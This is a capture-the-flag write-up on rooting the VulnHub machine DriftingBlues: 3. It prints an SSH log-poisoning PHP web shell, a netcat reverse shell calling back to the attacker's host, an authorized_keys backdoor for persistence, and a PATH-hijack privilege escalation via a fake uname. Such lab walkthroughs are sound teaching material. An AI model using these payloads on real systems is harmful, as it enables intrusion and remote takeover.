DriftingBlues: 3 BOOT2ROOT CTF VULNHUB WRITEUP

Hey everyone, welcome back! We're diving into the third installment of the DriftingBlues series from VulnHub. In this write-up, I'll walk you through the complete, step-by-step breakdown of how I approached, exploited, and ultimately rooted the target machine.

The first step, as always, is to run an Nmap scan to identify potential entry points into the target system.

nmap -A -sC -p- -T5 -oN nmap_result.log 192.168.137.102

ssh and http are open

If you look closely at the Nmap scan results, you'll see that the robots.txt file disallows access to /eventadmins. Before we explore that hidden path, let’s first check out the main webpage to see what it reveals.

This is the main webpage

And this is the /eventadmins.

Here's another file we’ve discovered — let’s take a look at /littlequeenofspades.html and see what it contains.

Nothing's useful, let's check the source code of this HTML file

There you are, there's a Base64 encoded string here.

This is the plaintext

Another Base64 encoded string.

A PHP file? I’ve got a good feeling about this one — let’s go ahead and check it out.

Hmm, this is interesting—every time I refresh the page, the log content seems to update in real time. What really stood out to me was the presence of the "ssh auth log". That immediately raised a red flag and made me think this might be vulnerable to SSH log poisoning. This kind of behavior suggests that the system is displaying log files directly on the webpage, which can be a serious security flaw. If the logs aren’t properly sanitized before being rendered, it opens up the possibility of injecting malicious payloads that could potentially lead to command execution or other forms of exploitation. Definitely worth digging deeper into this vector.

To test for a possible SSH log poisoning vulnerability, I attempted to inject a simple PHP web shell by using it as the SSH username. Since the SSH authentication process logs failed login attempts—including the username—into system log files like /var/log/auth.log, I crafted the following command

ssh '<?php system($_GET["command"]); ?>'@192.168.137.102

Even though the login fails, if the log file is later displayed on a web page without proper sanitization, the injected PHP code could be executed by the web server. This would effectively turn the exposed log viewer into a remote command execution point, allowing me to interact with the system via a browser using GET parameters.

This method hinges on two things:

  1. The SSH login attempts being logged in plaintext (including the injected username).

  2. The web application reading and rendering those logs without escaping or sanitizing the content.

If both conditions are met, it becomes a dangerous entry point for remote code execution (RCE).

But... There's a problem, this took me a long time to fix

Unfortunately, the payload was rejected by SSH because it contains invalid characters. I attempted several different escaping techniques to bypass the restriction even putting the payload to a variable, but none of them were successful.

I’ve always believed there’s always a way in—so instead of giving up, I stuck with the same overall approach but added a twist. This time, I decided to try it using Windows PowerShell. I stored the payload inside a variable, just like I did earlier, and then executed the SSH command from there. I figured there’s a chance that Windows might handle the payload differently and allow it through, unlike on Linux.

Guess what, it worked!!

As you can see here, it's injected!!! Now let's go back to our VM and use our webshell!

And there it is—any command we pass through the command parameter is now successfully executed!

Let’s see if Netcat is available on the system—if it is, we can quickly set up a reverse shell and gain remote access in no time.

And there is!! Time for reverse shell!

Let's setup our listener first

nc -lnvp 1234

And in our webshell, execute this command

nc 192.168.137.246 1234 -e /bin/bash

And here's the result

There it is—we’ve got a shell! To make our access more stable and interactive, we’ll upgrade it using Python’s pty module.

python3 -c 'import pty; pty.spawn("/bin/bash")'

and use xterm as TERM env

export TERM=xterm

Upon exploring, there's one user in this machine named robertj .

These are the files that robertj contains

As expected, only the user robertj has permission to access the user.txt file. However, I noticed a .ssh directory—could there be a private key inside, similar to what we found in DriftingBlues: 2? Let’s investigate and find out.

Sadly, there's no files here.

Seeing that there's a .ssh directory present, I figured I could leverage it to gain persistent access. My plan was to create an authorized_keys file inside that directory and add my own public key to it.

To do this, I generated an SSH key pair on my attacker machine using ssh-keygen. Once the key pair was created, I copied the public key and placed it inside the authorized_keys file on the target, under ~robertj/.ssh/authorized_keys.

By doing this, I essentially authorized my attacker machine to log in as robertj without needing their password. I could then use my private key to SSH into the machine as that user—securely and without triggering password-based authentication. This is a classic persistence and privilege move when .ssh write access is available.

After generating the key pair, I navigated to my .ssh directory and found two files: id_rsa and id_rsa.pub. The one with the .pub extension is the public key—that’s the one we’ll be using for this step.

Once the public key is copied, we’ll create an authorized_keys file on the target machine and paste our public key into it.

echo 'public_key' > authorized_keys

After that we will login as robertj using our private key

ssh robertj@192.168.137.102 -i id_rsa

We're now robertj

It works!!

First flag!!

Now, it's time to get into root. The first thing I did is to use sudo -l to see if there's a tool or command that robertj can execute without elevated privileges.

But...

Unfortunately, the sudo command isn’t available on this machine—definitely not ideal. That leaves me with one solid option: running linPEAS to perform a thorough privilege escalation scan.

Upon analyzing the results of linPEAS, I noticed something

I came across a command called getinfo located in /usr/bin, and interestingly, it’s owned by root. What’s odd is that getinfo isn’t a standard or built-in command in Linux, which makes it immediately suspicious.

So I execute it and this is the result

Did you notice something unusual? The commands used by this tool appear to be automated. For instance, the “IP address” output seems to be retrieved using the standard Linux ip address command. The “hosts” section is likely just reading from the /etc/hosts file, and the “OS info” is probably pulled using the uname command. Everything looks like it’s wrapped in a script that runs common system commands behind the scenes.

Since the tool relies on executing system commands, we can take advantage of that by creating a fake uname binary containing a malicious payload to hijack its execution. Here's how to do it: first, navigate to the /tmp directory and create a file named uname with a simple bash shell payload

echo '/bin/bash' > uname

Then, make the file executable by setting its permissions

chmod 777 uname

Next, we update the PATH variable to prioritize /tmp/ by running

export PATH=/tmp/:$PATH

This way, when the tool tries to run uname, it will execute our fake version in /tmp/ instead of the real system binary, effectively giving us a shell.

Now let's run getinfo to see if we will turn to root

It works!!! We're now root!!

Second Flag!

We've successfully pwned DriftingBlues: 3

Last updated